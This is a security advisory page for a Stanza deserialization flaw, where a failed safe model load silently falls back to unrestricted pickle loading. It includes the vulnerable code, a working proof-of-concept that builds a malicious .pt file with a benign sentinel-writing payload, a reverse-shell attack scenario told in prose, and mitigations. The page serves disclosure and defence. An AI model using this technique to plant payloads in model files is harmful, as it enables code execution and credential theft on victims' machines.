CVE-2026-54499: Stanza: pickle fallback bypass enables model RCE

GHSA-v5jw-96jm-7h2c HIGH
Published June 19, 2026
CISO Take

Stanza NLP ≤1.12.1 contains a logic flaw in six model loaders: when PyTorch safe deserialization (weights_only=True) raises an UnpicklingError — a condition fully controllable by an attacker — Stanza silently retries the same file with the unrestricted pickle deserializer, executing arbitrary __reduce__ methods. With 2,954 downstream dependents spanning research environments, CI/CD pipelines, and production NLP services, any team loading Stanza pretrain files from a shared or external source (HuggingFace, S3 model caches, artifact stores) is exposed to full remote code execution with process-level privileges. A functional PoC is included in the advisory and the attack requires only placing one malformed .pt file at a path Stanza will load — no authentication or network access to the victim system is needed beyond the supply chain vector. Upgrade immediately to stanza==1.12.2, audit model source provenance, and enforce cryptographic checksums on all pretrain files before loading.

Sources: NVD GitHub Advisory OpenSSF ATLAS

What is the risk?

High severity in practice despite CVSS 7.5. The critical aggravating factor is the attacker-controllable trigger: any .pt file embedding a single unsupported pickle global will reliably defeat the safety mechanism. The blast radius is amplified by the six affected loaders (pretrain, coreference, classifier, constituency, lemma_classifier) and the 2,954 downstream packages that import stanza. Exploitation is straightforward — the advisory includes a working PoC. The primary mitigant is the supply chain delivery prerequisite (attacker must place a file at a loadable path), but shared NFS mounts, S3 model caches, and HuggingFace auto-downloads make this realistic in most ML team environments. No active exploitation is confirmed, but the PoC lowers the bar to opportunistic actors targeting AI/ML infrastructure.

How does the attack unfold?

Supply Chain Poisoning
Attacker compromises a HuggingFace repository or shared model cache and publishes a structurally valid Stanza .pt pretrain file embedding a malicious pickle __reduce__ payload.
AML.T0058
Victim Model Load
Victim calls stanza.Pipeline() or load_pretrain(), which invokes Pretrain.load(); torch.load with weights_only=True raises UnpicklingError on the embedded unsupported pickle global.
AML.T0011.000
Safe-Load Bypass
Stanza's except UnpicklingError block silently retries the same attacker-controlled file with weights_only=False, invoking Python's full unrestricted pickle deserializer.
AML.T0010.003
Arbitrary Code Execution
The pickle __reduce__ method fires with full process privileges, enabling credential theft (cloud IAM keys, HuggingFace tokens), reverse shell establishment, or persistent backdoor installation.
AML.T0018.002

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter Notebook pip <= 1.12.1 1.12.2
13.2K OpenSSF 5.8 3.0K dependents Pushed 7d ago 58% patched ~371d to patch Full package profile →
PyTorch pip No patch
100.7K OpenSSF 6.4 22.7K dependents Pushed 5d ago 9% patched ~260d to patch Full package profile →

How severe is it?

CVSS 3.1
7.5 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Moderate

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC High
PR None
UI Required
S Unchanged
C High
I High
A High

What should I do?

7 steps
  1. PATCH

    Upgrade stanza to 1.12.2 immediately — this is the only complete fix.

  2. VERIFY

    After upgrade, confirm all six affected loader files no longer contain the unsafe fallback pattern (grep -r 'weights_only=False' in the stanza package directory).

  3. AUDIT MODEL SOURCES

    Enumerate all .pt files loaded by stanza.Pipeline() in your environment; verify SHA-256 checksums against trusted manifests.

  4. LOCK MODEL CACHES

    If shared model storage is used (NFS, S3), apply write-access controls so only trusted pipelines can publish pretrain files.

  5. DETECT

    Add filesystem monitoring (auditd/Falco) for unexpected writes from processes that import stanza — specifically from stanza worker processes writing to /tmp or env config paths.

  6. CI/CD HARDENING: Pin stanza version with a hash in requirements.txt and validate model file checksums in pipeline steps before loading.

  7. SHORT-TERM WORKAROUND (if patching is delayed): Set PYTHONPATH to a patched local copy of pretrain.py that removes the except UnpicklingError fallback block.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system for high-risk AI
ISO 42001
A.6.1.2 - Supply chain security for AI systems
NIST AI RMF
GOVERN 6.2 - AI supply chain risk management
OWASP LLM Top 10
LLM05:2025 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-54499?

Stanza NLP ≤1.12.1 contains a logic flaw in six model loaders: when PyTorch safe deserialization (weights_only=True) raises an UnpicklingError — a condition fully controllable by an attacker — Stanza silently retries the same file with the unrestricted pickle deserializer, executing arbitrary __reduce__ methods. With 2,954 downstream dependents spanning research environments, CI/CD pipelines, and production NLP services, any team loading Stanza pretrain files from a shared or external source (HuggingFace, S3 model caches, artifact stores) is exposed to full remote code execution with process-level privileges. A functional PoC is included in the advisory and the attack requires only placing one malformed .pt file at a path Stanza will load — no authentication or network access to the victim system is needed beyond the supply chain vector. Upgrade immediately to stanza==1.12.2, audit model source provenance, and enforce cryptographic checksums on all pretrain files before loading.

Is CVE-2026-54499 actively exploited?

No confirmed active exploitation of CVE-2026-54499 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54499?

1. PATCH: Upgrade stanza to 1.12.2 immediately — this is the only complete fix. 2. VERIFY: After upgrade, confirm all six affected loader files no longer contain the unsafe fallback pattern (grep -r 'weights_only=False' in the stanza package directory). 3. AUDIT MODEL SOURCES: Enumerate all .pt files loaded by stanza.Pipeline() in your environment; verify SHA-256 checksums against trusted manifests. 4. LOCK MODEL CACHES: If shared model storage is used (NFS, S3), apply write-access controls so only trusted pipelines can publish pretrain files. 5. DETECT: Add filesystem monitoring (auditd/Falco) for unexpected writes from processes that import stanza — specifically from stanza worker processes writing to /tmp or env config paths. 6. CI/CD HARDENING: Pin stanza version with a hash in requirements.txt and validate model file checksums in pipeline steps before loading. 7. SHORT-TERM WORKAROUND (if patching is delayed): Set PYTHONPATH to a patched local copy of pretrain.py that removes the except UnpicklingError fallback block.

What systems are affected by CVE-2026-54499?

This vulnerability affects the following AI/ML architecture patterns: NLP inference pipelines, Training pipelines, CI/CD model build systems, Shared model cache environments (NFS, S3), Research Jupyter notebook servers.

What is the CVSS score for CVE-2026-54499?

CVE-2026-54499 has a CVSS v3.1 base score of 7.5 (HIGH).

What is the AI security impact?

Affected AI Architectures

NLP inference pipelinesTraining pipelinesCI/CD model build systemsShared model cache environments (NFS, S3)Research Jupyter notebook servers

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0010.003 Model
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0058 Publish Poisoned Models

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.6.1.2
NIST AI RMF: GOVERN 6.2
OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

### Summary Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it. An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. Code execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly. ### Details The vulnerable code is in [pretrain.py#L59-L67](https://github.com/stanfordnlp/stanza/blob/main/stanza/models/common/pretrain.py#L59-L67) (Stanza 1.12.0): ```python try: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True) except UnpicklingError: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False) ``` When `weights_only=True` is passed, PyTorch's deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python's full pickle deserializer and executes any `__reduce__` method in the file without restriction. The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it. **The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:** | File | Lines | |------|-------| | `stanza/models/common/pretrain.py` | 64–66 | | `stanza/models/coref/model.py` | 251–253, 329–331 | | `stanza/models/classifiers/trainer.py` | 80–82 | | `stanza/models/constituency/base_trainer.py` | 94–96 | Additionally, `stanza/models/lemma_classifier/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch < 2.6. The call chain from the public API to the vulnerable fallback is: ``` stanza.models.common.foundation_cache.load_pretrain(path) → FoundationCache.load_pretrain(path) → stanza.models.common.pretrain.Pretrain(filename) → Pretrain.emb (property access triggers load) → Pretrain.load() → torch.load(..., weights_only=True) # raises UnpicklingError → torch.load(..., weights_only=False) # executes arbitrary pickle ``` --- ### PoC **Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0` **Step 1: Install dependencies:** ```bash pip install stanza==1.12.0 torch==2.12.0 ``` **Step 2: Save the following as `exploit.py`:** ```python import os from pathlib import Path import torch import stanza from stanza.models.common.foundation_cache import FoundationCache, load_pretrain from stanza.models.common.vocab import VOCAB_PREFIX SENTINEL = "/tmp/stanza_rce_proof" MODEL = "/tmp/stanza_malicious.pt" class HarmlessPayload: """Demonstrates execution; writes a sentinel file.""" def __init__(self, path): self.path = path def __reduce__(self): return (open, (self.path, "w")) # Build a structurally valid Stanza pretrain state dict with the payload embedded. words = VOCAB_PREFIX + ["hello"] state = { "vocab": { "lang": "", "idx": 0, "cutoff": 0, "lower": False, "_id2unit": words, "_unit2id": {w: i for i, w in enumerate(words)}, }, "emb": torch.zeros((len(words), 2), dtype=torch.float32), "payload": HarmlessPayload(SENTINEL), # ← the malicious object } torch.save(state, MODEL) # Confirm safe-only load raises UnpicklingError and does NOT create sentinel. try: torch.load(MODEL, lambda s, l: s, weights_only=True) print("UNEXPECTED: safe load succeeded (no fallback needed)") except Exception as e: print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}") # Load through the real Stanza API. The fallback fires and the sentinel is created. cache = FoundationCache() pretrain = load_pretrain(MODEL, foundation_cache=cache) print(f"stanza={stanza.__version__} torch={torch.__version__}") print(f"emb_shape={tuple(pretrain.emb.shape)}") print(f"sentinel_exists={Path(SENTINEL).exists()}") print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN") ``` **Step 3 : Run:** ```bash python exploit.py ``` **Expected output (confirmed):** ``` Control: safe load raised UnpicklingError : sentinel exists: False stanza=1.12.0 torch=2.12.0 emb_shape=(5, 2) sentinel_exists=True VERDICT: ACTUAL_VULN_REAL_STANZA_PATH ``` The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC. --- ### Impact **Vulnerability class:** CWE-502 : Deserialization of Untrusted Data **Who is impacted:** Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely: - Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub - CI pipelines that automatically refresh Stanza models during builds - Research environments that share pretrain files over shared network storage or model repositories **Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include: - Compromise of a HuggingFace model repository hosting Stanza pretrain weights - Poisoning of a shared model cache directory (NFS, S3, artifact store) - A malicious pretrain file distributed via a third-party fine-tuning hub or research repo **What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure. **Recommended fix:** Remove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed: ```python try: data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True) except UnpicklingError as e: raise RuntimeError( f"Refusing to load legacy pretrain file {self.filename!r} with unsafe " "deserialization. Regenerate the file using a trusted Stanza migration tool." ) from e ``` If legacy NumPy-containing pretrain files must be supported, use PyTorch's `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.

Exploitation Scenario

An attacker targeting an AI/NLP team identifies that their CI/CD pipeline auto-downloads Stanza pretrain files from a HuggingFace model repository. The attacker compromises a contributor account on that repository or submits a malicious pull request that passes automated review. They craft a structurally valid Stanza pretrain state dict containing a HarmlessPayload object (or a destructive equivalent: a reverse shell spawner via subprocess.Popen) serialized via pickle's __reduce__ mechanism. The file is indistinguishable from a legitimate pretrain file at the metadata level. When the CI pipeline executes stanza.Pipeline('en') on the next build, Stanza's pretrain.py attempts torch.load with weights_only=True; the embedded unsupported global triggers UnpicklingError; the except block immediately reloads the same file with weights_only=False; the __reduce__ method fires, spawning a reverse shell or dropping an SSH key. The attacker now has persistent access to the build environment with credentials to cloud artifact stores, container registries, and downstream production systems.

Weaknesses (CWE)

CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

  • [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Timeline

Published
June 19, 2026
Last Modified
June 19, 2026
First Seen
June 19, 2026

Related Vulnerabilities